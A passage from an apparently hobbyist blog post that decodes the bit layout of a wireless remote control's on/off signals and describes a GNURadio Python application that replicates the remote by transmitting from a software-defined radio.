D         ON             11111 00011 101100 1 00 01000 0
D         OFF            11111 00011 101100 0 00 01000 0
Master    ON             11111 00011 101101 1 00 00000 0
Master    OFF            11111 00011 101110 0 00 00000 0


So obviously, the dip switches are reflected by the 5 first bits in the message. The 17th bit always correlates with the on (1) and off (0) button. Finally, bits 20-24 reflect the unit code. Concerning the remaining bits, I suspect bits 11-16 to be a counter and the rest to be padding.

Synthesizing the signal

After gathering all this information about the signal and the encoding, I decided to write a small GNURadio application with python to replicate the remote control in software by emitting the signal from the SDR. You can access the code here on github. The basic idea behind the modulator is to process the incoming stream of bits and converting them into I/Q samples. In order to describe the pulse train, I defined a intermediate 2-bit mapping according to following diagram, which will help you understand the code:
Intermediate 2-bit encoding of the pulse-widths

Using this mapping, a logical 0 is encoded with 01, a logical 1 is encoded with 10 and the pause between each burst is encoded with 00. Note that code 11 is never used. The GUI is designed to resemble the remote control's interface:
Application replicating
the remote control. Uses the
GNURadio framework

 That's it, I hope you enjoyed reading this. If you did, don't miss the flattr button ;-)